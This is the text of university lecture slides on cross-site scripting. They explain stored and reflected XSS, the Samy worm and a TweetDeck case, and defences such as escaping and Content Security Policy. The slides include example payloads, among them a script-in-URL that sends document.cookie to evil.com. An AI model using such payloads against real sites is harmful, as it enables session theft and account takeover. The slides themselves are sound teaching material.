Cross-site scripting attack

CS 161: Computer Security

Prof. Raluca Ada Popa

April 8, 2020

Some content adapted from materials by David Wagner or Dan Boneh

Announcements

- Starting recording
- Please turn on video if you can
- We are grading Midterm 2
- Project 3 part 1 due Tuesday, April 14 at 11:59 pm.

Top web vulnerabilities

OWASP Top 10 – 2010 (Previous)	OWASP Top 10 – 2013 (New)	
A1 – Injection	A1 – Injection	
A3 – Broken Authentication and Session Management	A2 – Broken Authentication and Session Management	
A2 – Cross-Site Scripting (XSS)	A3 – Cross-Site Scripting (XSS)	
A4 – Insecure Direct Object References	A4 – Insecure Direct Object References	
A6 – Security Misconfiguration	A5 – Security Misconfiguration	
A7 – Insecure Cryptographic Storage – Merged with A9 →	A6 – Sensitive Data Exposure	
A8 – Failure to Restrict URL Access – Broadened into \rightarrow	A7 – Missing Function Level Access Control	
A5 – Cross-Site Request Forgery (CSRF)	A8 – Cross-Site Request Forgery (CSRF)	
<buried a6:="" in="" misconfiguration="" security=""></buried>	A9 – Using Known Vulnerable Components	

Top web vulnerabilities

OWASP Top 10 - 2013		OWASP Top 10 - 2017	
A1 – Injection		A1:2017-Injection	
A2 – Broken Authentication and Session Management		A2:2017-Broken Authentication	
A3 – Cross-Site Scripting (XSS)	3	A3:2017-Sensitive Data Exposure	
A4 – Insecure Direct Object References [Merged+A7]	U	A4:2017-XML External Entities (XXE) [NEW]	
A5 – Security Misconfiguration	3	A5:2017-Broken Access Control [Merged]	
A6 – Sensitive Data Exposure	7	A6:2017-Security Misconfiguration	
A7 – Missing Function Level Access Contr [Merged+A4]	U	A7:2017-Cross-Site Scripting (XSS)	
A8 – Cross-Site Request Forgery (CSRF)	×	A8:2017-Insecure Deserialization [NEW, Community]	
A9 – Using Components with Known Vulnerabilities	→	A9:2017-Using Components with Known Vulnerabilities	
A10 – Unvalidated Redirects and Forwards	×	A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]	

Cross-site scripting attack (XSS)

- Attacker injects a malicious script into the webpage viewed by a victim user
 - Script runs in user's browser with access to page's data
- The same-origin policy does not prevent XSS

Setting: Dynamic Web Pages

 Rather than static HTML, web pages can be expressed as a program, say written in *Javascript*:



• Outputs:

Hello, world: 3

Recall: Javascript

- Powerful web page *programming language*
- Scripts are embedded in web pages returned by web server
- Scripts are executed by browser. Can:
 - Alter page contents
 - Track events (mouse clicks, motion, keystrokes)
 - Issue web requests, read replies
- (Note: despite name, has nothing to do with Java!)

Rendering example

web server



Browser's rendering engine:

- 1. Call HTML parser
- tokenizes, starts creating DOM tree
- notices <script> tag, yields to JS engine
- 2. JS engine runs script to change page

```
<font size=30>
Hello, <b>world: 3</b>
```

- 3. HTML parser continues:
- creates DOM
- 4. Painter displays DOM to user

Hello, world: 3

Confining the Power of Javascript Scripts

 Given all that power, browsers need to make sure JS scripts don't abuse it



- For example, don't want a script sent from hackerz.com web server to read or modify data from bank.com
- ... or read keystrokes typed by user while focus is on a bank.com page!

Same Origin Policy

Recall:

- Browser associates web page elements (text, layout, events) with a given origin
- SOP = a script loaded by origin A can access only origin A's resources (and it cannot access the resources of another origin)

XSS subverts the same origin policy

- Attack happens within the same origin
- Attacker tricks a server (e.g., bank.com) to send malicious script ot users
- User visits to bank.com

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com

Two main types of XSS

- Stored XSS: attacker leaves Javascript lying around on benign web service for victim to load
- Reflected XSS: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back

Stored (or persistent) XSS

- The attacker manages to store a malicious script at the web server, e.g., at bank.com
- The server later unwittingly sends script to a victim's browser
- Browser runs script in the same origin as the bank.com server

Attack Browser/Server



evil.com

Attack Browser/Server



Server Patsy/Victim



Attack Browser/Server





Server Patsy/Victim





Attack Browser/Server



Attack Browser/Server



Attack Browser/Server



Attack Browser/Server



Attack Browser/Server



E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000







Stored XSS: Summary

- Target: user who visits a vulnerable web service
- Attacker goal: run a malicious script in user's browser with same access as provided to server's regular scripts (subvert SOP = Same Origin Policy)
- Attacker tools: ability to leave content on web server page (e.g., via an ordinary browser);
- Key trick: server fails to ensure that content uploaded to page does not contain embedded scripts

Demo: stored XSS

MySpace.com (Samy worm)

- Users can post HTML on their pages
 - MySpace.com ensures HTML contains no
 <script>, <body>, onclick,
 ... but can do Javascript within CSS tags:
 - <div style="background:url('javascript:alert(1)')">
- With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
 - ... and adds Samy as a friend.
 - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html

Twitter XSS vulnerability

User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

	andy Dder Geruhn		🛱 🙁 Follow			
<script class="xss">\$('.xss').parents().eq(1).find('a').eq(1).click();\$('[data- action=retweet]').click();alert('XSS in Tweetdeck')</script 						
🛧 Reply 🕇	🕽 Retweet 🔺 F	avorite 🚯 Storify 🚥 More				
RETWEETS 38,572	FAVORITES 6,498	jii 🐜 🔛 🚺 🔛 🛒 😒				
12:36 PM - 1	1 Jun 2014					

Stored XSS using images

Suppose pic.jpg on web server contains HTML !

• request for http://site.com/pic.jpg results in:

```
HTTP/1.1 200 OK
...
Content-Type: image/jpeg
<html> fooled ya </html>
```

- IE will render this as HTML (despite Content-Type)
- Consider photo sharing sites that support image uploads
 - What if attacker uploads an "image" that is a script?

Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript
- The server echoes it back to victim user in its response
- Victim's browser executes the script within the same origin as bank.com



Victim client



Attack Server

	CONTRACTOR OF THE OWNER OWNE		1
		and the second se	
-			

evil.com



Victim client








Reflected XSS (Cross-Site Scripting)



Reflected XSS (Cross-Site Scripting)



Reflected XSS (Cross-Site Scripting)



Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- Example: search field
 - http://bank.com/search.php?term=apple

How does an attacker who gets you to visit evil.com exploit this?

Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

http://bank.com/search.php?term=
<script> window.open(
 "http://evil.com/?cookie = " +
 document.cookie) </script>

What if user clicks on this link?

- 1) Browser goes to bank.com/search.php?...
- 2) bank.com returns

<html> Results for <script> ... </script> ...

3) Browser executes script *in same origin* as bank.com Sends to evil.com the cookie for bank.com



- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Reflected XSS: Summary

- Target: user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates
- Attacker goal: run script in user's browser with same access as provided to server's regular scripts (subvert SOP = Same Origin Policy)
- Attacker tools: ability to get user to click on a speciallycrafted URL; optionally, a server used to receive stolen information such as cookies
- Key trick: server fails to ensure that output it generates does not contain embedded scripts other than its own

Preventing XSS

Web server must perform:

- Input validation: check that inputs are of expected form (whitelisting)
 - Avoid blacklisting; it doesn't work well
- Output escaping: escape dynamic data before inserting it into HTML

Output escaping

HTML parser looks for special characters: < > & "'

- <html>, <div>, <script>
- such sequences trigger actions, e.g., running script
- Ideally, user-provided input string should not contain special chars
- If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser

Character	Escape sequence
<	<
>	>
&	&
"	"
"	'

Direct vs escaped embedding



but gets displayed!

Demo fix

Escape user input!



Escaping for SQL injection

- Very similar, escape SQL parser
- Use \ to escape
 - Html: ' → '
 - SQL: ' \rightarrow \'

XSS prevention (cont'd): Content-security policy (CSP)

- Have web server supply a whitelist of the scripts that are allowed to appear on a page
 - Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts)
- Can opt to globally disallow script execution

Summary

- XSS: Attacker injects a malicious script into the webpage viewed by a victim user
 - Script runs in user's browser with access to page's data
 - Bypasses the same-origin policy
- Fixes: validate/escape input/output, use CSP